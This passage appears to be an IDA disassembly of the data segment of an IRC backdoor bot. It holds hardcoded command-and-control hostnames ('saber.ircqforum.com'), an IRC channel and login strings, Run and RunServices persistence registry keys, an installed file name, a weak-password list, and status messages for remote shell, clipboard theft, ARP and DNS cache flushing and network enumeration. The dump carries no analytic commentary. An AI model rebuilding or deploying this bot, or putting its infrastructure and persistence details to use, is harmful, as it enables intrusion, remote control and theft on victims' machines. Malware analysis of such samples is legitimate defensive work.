					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F774o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E6r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Dr
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415996+2Br
					; sub_415996+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aAsn139		db 'asn139',0
		align 10h
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D44r
					; sub_40EE72+4EDCo
aAsn445		db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E22o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6129o
					; sub_40EE72+61F8o
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 10h
byte_42F650	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F674	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F684	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_415996+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6274o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120EFo
					; sub_40EE72+50A2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C4	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FEEo
					; "*@admin.com"
off_42F6C8	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6198o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
					; sub_4162AC+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
					; sub_4162AC+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aDb2		; "db2"
		align 10h
		dd offset byte_436EDC
		dd offset byte_436EDC
		dd offset aAdministrato_0 ; "ADMINISTRATOR"
		dd offset byte_436EDC
		dd 0
dword_42F794	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aAdministrato_0	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F788o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F778o
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6C8o
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C4o
dword_42F7C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_42F7EC	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_42F7F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
		align 4
dword_42F86C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_42F89C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_42F8C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D9o
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_42F904	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6160o
					; sub_40EE72+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6149o
					; sub_40EE72+61B0o
		align 4
asc_42F98C:				; DATA XREF: sub_40EE72+6119o
		unicode	0, <~>,0
dword_42F990	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42F9C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 10h
dword_42FA00	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_42FA3C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_42FA5C	db    2			; DATA XREF: sub_40EE72+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42FAA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Fo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F08o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Co
		align 4
unk_42FAF4	db    2			; DATA XREF: sub_40EE72+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_42FB3C	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_42FB4C	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_42FB58	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_42FB64	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D52o
dword_42FB74	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
		align 4
dword_42FBB4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
		align 4
dword_42FC04	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42FC40	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_42FC68	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42FCB0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_42FCDC	dd 627573h		; DATA XREF: sub_40EE72+5BACo
dword_42FCE0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_42FD08	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42FD50	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_42FD78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_42FDA0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_42FDC8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_42FDF0	db    2			; DATA XREF: sub_40EE72+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42FE40	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Do
		align 4
unk_42FE78	db    2			; DATA XREF: sub_40EE72+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_42FEAC	db    2			; DATA XREF: sub_40EE72+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_42FEDC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_42FF04	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F9o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_42FF34	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_42FF6C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_42FFA4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
		align 4
unk_42FFE4	db    2			; DATA XREF: sub_40EE72:loc_41457Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
dword_430020	dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h
					; DATA XREF: sub_40EE72+56EDo
		dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h,	65686361h
		dd 756C6620h, 64656873h
dword_430050	dd 2Eh			; DATA XREF: ___:00427B70o
dword_430054	dd 7A026E02h, 201F6D1Fh	; DATA XREF: sub_40EE72:loc_41454Fo
unk_43005C	db  28h	; (		; DATA XREF: ___:off_427A0Co
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
unk_430090	db    2			; DATA XREF: sub_40EE72:loc_414548o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
